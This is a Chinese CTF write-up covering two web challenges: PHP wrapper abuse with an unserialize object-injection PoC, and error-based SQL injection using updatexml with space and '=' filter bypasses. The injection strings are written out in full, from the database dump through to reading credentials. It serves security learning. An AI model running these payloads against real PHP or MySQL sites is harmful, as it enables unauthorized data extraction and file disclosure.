Web实操(6),基础知识学习(24~)

1.[ZJCTF 2019]NiZhuanSiWei1

(1)进入环境后看到一篇php代码,开始我简单的以为是一题常规的php伪协议,多次试错后发现它并没有那么简单,它包含了基础的文件包含,伪协议还有反序列化

(2)分析代码发现它传入了三个不同的参数,并且判断最后程序进入else时应该是可以出flag的

按照它代码所写

首先要输入的r要满足r=welcome to the zjctf

       后面它又说file不能含有flag但是下面有注释的文件名,可能是在提醒,尝试去读取那个文件构造,首先我们要进入到那环境里面, 首先file_get_contents是得读取到"文件"里的内容,而这里需要注意$text是一个变量,C不能读取一个变量

注:file_get_contents函数是 PHP 中一个功能丰富、易于使用的函数,可以用于文件操作和发起 HTTP 请求。通过深入理解该函数的使用方法,我们可以更高效地处理文件读取和远程资源获取任务。同时,使用上下文选项和其他相关函数,可以使 file_get_contents() 更加灵活和强大。有下面这些用法

1. 文件操作
1.1 读取本地文件
1.2 使用上下文选项
2. HTTP 请求
2.1 发起简单的 HTTP GET 请求
2.2 处理响应头信息
2.3 处理 HTTP 错误
           具体请看file_get_contents() 函数详解与使用-CSDN博客

这里需要尝试使用data伪协议去给他赋值,在一个文件里面。payload:/?text=data://text/plain,welcome to the zjctf然后才能成功进入

(3)到这里就需要尝试去读取useless.php文件内容了

还需要使用filter伪协议构造payload:&file=php://filter/read=convert.base64-encode/resource=useless.php

注:data协议规则:
data://text/plain;编码格式,读取内容
(注意一个是分号;命令拼接,和一个逗号,用来读取文本内容)

(4)也是成功获取到文件里的内容,然后用工具解一下码可以得到一篇新的php代码

(5)里面写了file_get_contents直接去读flag.php,构造反序列化,poc:

<?php
class Flag
{  //flag.phppublic $file = 'flag.php';
}
$a = new Flag();
echo urlencode(serialize($a));

还需要注意不需要去访问useless.php文件的内容了,我们构造的反序列化会把之前的覆盖掉,最终我们要的是useless.php来访问我们的flag

(6)再次进行序列化

<?php  class Flag{  //flag.php  public $file='flag.php';  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
} 
$flag=new Flag();
echo serialize($flag);
?> 

可以得到

     O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后构造pyload :?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后F12查看源码即可得到flag

2.[极客大挑战 2019]HardSQL1

(1)进入题目环境

(2)不知道它是啥注入类型,就一个个试

username:admin
password:1
这里把参数password作为注入点

1

1'

万能密码 1' or 1=1#

到这里使用万能密码注入被链接,应该是某些字符或者关键字被过滤

(3)然后用BP抓包用sql字典爆破,可以看到很多字符=、–+、/**/和一些注入命令union、by、‘1’='1等都被过滤掉了

(4)接着测试admin        

                        1' or

还是出错,说明这里应该就是空格有问题了

(5)然后用括号代替了空格再试试

admin     

1'(or)

到这证明判断没错,但是这里又需要注意,前面爆出它过滤了=,

看了其他博主的wp才知道在这里like没有被过滤,使用like可以绕过=号,like <=> =

(6)然后重新构造万能密码
1'or((1)like(1))#

可以看到这里也是成功绕过空格,登陆成功

到这里还需要注意一个有关报错注入的知识点:

SQL报错注入常用函数

两个基于XPAT(XML)的报错注入函数
函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
注入原理:
(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)
(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)

其它
函数floor() mysql中用来取整的函数
函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

(7)这里我使用updatexml()函数来进行爆库

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

(8)得到库名geek

         然后查表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

(9)到这里再得到数据表名  H4rDsq1

然后再来爆字段

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

(10)接着爆爆字段内容1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

也是成功拿到一半flag

(11)后面一半开始怎么也弄不出来,其实就是练得太少,后面看了其他大佬wp才知道这里 要使用right()突破字符限制
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

成功拿到后半段flag要注意这里中间部分是重复的,拼接时需要注意不要拼重复

最后拼接得到完整   flag{ca5de2ab-4550-4fc2-87f7-7fbb95f1e4d2}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3016231.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

QT creator qt6.0 使用msvc2019 64bit编译报错

qt creator qt6.0报错&#xff1a; D:\Qt6\6.3.0\msvc2019_64\include\QtCore\qglobal.h:123: error: C1189: #error: "Qt requires a C17 compiler, and a suitable value for __cplusplus. On MSVC, you must pass the /Zc:__cplusplus option to the compiler."…

如何迁移Windows PC数据到统信UOS 1070

原文链接&#xff1a;如何迁移Windows PC数据到统信UOS 1070 Hello&#xff0c;大家好啊&#xff01;随着统信UOS 1070的推出&#xff0c;越来越多的用户和企业选择迁移到这个基于Linux的操作系统&#xff0c;以享受其安全性和稳定性的优势。今天&#xff0c;我们将探讨如何使用…

栈与队列(包括例题一道)

栈 栈的概念 栈&#xff1a;一种特殊的线性表&#xff0c;其只允许在固定的一端进行插入和删除元素操作。 进行数据插入和删除操作的一端 称为栈顶&#xff0c;另一端称为栈底。 栈中的数据元素遵守后进先出 LIFO &#xff08; Last In First Out &#xff09;的原则。 压栈&…

5月7号作业

将一张bmp图片&#xff0c;修改成德国国旗 #include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <pthread.h>#include <…

【日志记录】---编译器内存对齐优化导致结构体指针引用成员出现地址错位

一&#xff1a;问题现象 在一个跨线程数据处理消息的时候出现了以下内存错位现象&#xff0c;在结构体指针引用的时候出现了成员数据异常 1.【数据源】线程A消息里面赋值的数据 //字节流 message.data[0] (unsigned char)model_brake_disable_type_read(); message.data[1]…

DirClass

DirClass 通过分析&#xff0c;发现当接收到DirClass远控指令后&#xff0c;样本将返回指定目录的目录信息&#xff0c;返回数据中的远控指令为0x2。 相关代码截图如下&#xff1a; DelDir 通过分析&#xff0c;发现当接收到DelDir远控指令后&#xff0c;样本将删除指定目录…

加密杂谈:Base 向上,BSC 向下

Aerdrome 价格走过一轮&#xff0c;Base 一己之力扶持起巅峰 1B Mcap, 2B FDV 的百倍币&#xff0c;秀出了肌肉&#xff0c;其所带来的正外部性也进一步盘活了 Base 生态 反观 BSC 本轮哪怕靴子落地依然没个响&#xff0c;差距在哪里&#xff1f;本 Thread 将以此为切入点探讨…

Material Studio 计算分子静电力、电荷密度以及差分电荷密度

1.先打开Material Studio导入要计算的分子cif文件或者mol文件&#xff0c;直接Flie-Import 2.高斯几何优化一下结构&#xff0c;参数按照我的设置就行&#xff0c;一般通用&#xff0c;后面出问题再调整 3.点完Run后会跳出很多计算过程&#xff0c;不用管&#xff0c;等他计算完…

【UE】利用物理学放置模型(以堆积石块为例)

目录 效果 步骤 一、准备工作 二、设置石块碰撞 三、绘制石块 效果 步骤 一、准备工作 1. 在虚幻商城中安装“Physical Layout Tool”插件 2. 在虚幻编辑器中勾选插件“Physical Layout”插件 3. 在Quixel Bridge中将我们所需要的石块资产添加到项目中 这里我们导入…

typescript 对象数组和函数

typescript 对象数组和函数 对象 在JavaScript中&#xff0c;对象属于非原始类型。对象也是一种符合数组类型&#xff0c;由若干个对象属性构成。对象属性可以是任意数据类型&#xff0c;比如数组&#xff0c;函数或者对象等。当对象属性为函数的时候&#xff0c;称为方法。 …

ubuntu20安装colmap

系统环境 ubuntu20 &#xff0c;cuda11.8 &#xff0c;也安装了anaconda。因为根据colmap的官方文档说的&#xff0c;如果根据apt-get安装的话&#xff0c;默认是非cuda版本的&#xff0c;而我觉得既然都安装了cuda11.8了&#xff0c;自然也要安装cuda版本的colmap。 安装步骤…

[Scrcpy]数据线连接安卓手机投屏windows电脑[win控制安卓手机]比Samsung Dex好用

配置好&#xff0c;只需要两步即可完成安卓手机投屏windows 第一步&#xff1a;usb线连接windows电脑 第二步&#xff1a;cmd输入投屏命令srccpy 搞定 前言/背景 一些视频资料只能下载到手机&#xff0c;很不喜欢手机那么小屏幕播放&#xff0c;播放很不方便 在家的话可以投…

做题速度太慢了,面不上

没办法&#xff0c;之前练了一个月的sql。两个月不写&#xff0c;现在差不多忘干净了。工作空窗期&#xff0c;或者休息期不能太久&#xff0c;不然学再多的内容都可能会忘完的。 sql题&#xff0c;腾讯四道sql题&#xff0c;限时45分钟完成。我只做了一道&#xff0c;还没做完…

uniapp video 层级覆盖

层级覆盖 cover-view组件 我这里做了个判断 监听全屏时隐藏按钮 根据项目需求自行更改

uts插件开发-继uniapp原生插件nativeplugins,uts插件开发可直接操作原生安卓sdk等,支持uniappx,支持源码授权价格等等

1.创建uts项目 2.创建uts插件cf-takepic 3.在index.uts中编写原生安卓代码&#xff0c;首先定义一个函数方法&#xff0c;在页面中看是否可引用成功 uts函数代码 /*** 拍照函数*/ export const takepicfunction():void{console.log("11111111") } index.vue代码 …

Spring Cloud 整合Sentinel

1、引入依赖 版本说明 alibaba/spring-cloud-alibaba Wiki GitHub 父pom <spring.cloud.version>Hoxton.SR12</spring.cloud.version> <spring.cloud.alibaba.version>2.2.10-RC1</spring.cloud.alibaba.version>Sentinel应用直接引用starter <…

网络1--通信过程的理解

1.封装与解包 通信的过程就是不断的封装和解包的过程 封装即就是按照“应用”“传输” “网络” “链路” 层&#xff0c;封装给每一层都加上相应的包头&#xff08;每一层都有协议&#xff0c;&#xff09;解包就是接受到的包文被一层层去掉相对应的包头。 任何一层的协议都…

分布式锁概述

什么是分布式锁 分布式锁是一种在分布式计算环境中用于同步访问共享资源的机制。它的主要目的是在一个分布式系统中&#xff0c;当多个进程或服务需要同时访问同一个资源时&#xff0c;确保任一时刻只有一个进程或服务能够执行涉及该资源的关键操作。这类似于传统单体应用中的…

抖音小店——服务体验,决定店铺生死的关键

哈喽~我是电商月月 新手做抖音小店&#xff0c;是不是觉得“选品”是整个抖店运营过程中最重要的操作 选品在前期确实非常重要&#xff0c;新店铺没有销量&#xff0c;没有评分本身就不好出单&#xff0c;你又不是厂家可以把价格压到最低做促销转化&#xff0c;想出单就只能把…

FTP协议与工作原理

一、FTP协议 FTP&#xff08;FileTransferProtocol&#xff09;文件传输协议&#xff1a;用于Internet上的控制文件的双向传输&#xff0c;是一个应用程序&#xff08;Application&#xff09;。基于不同的操作系统有不同的FTP应用程序&#xff0c;而所有这些应用程序都遵守同…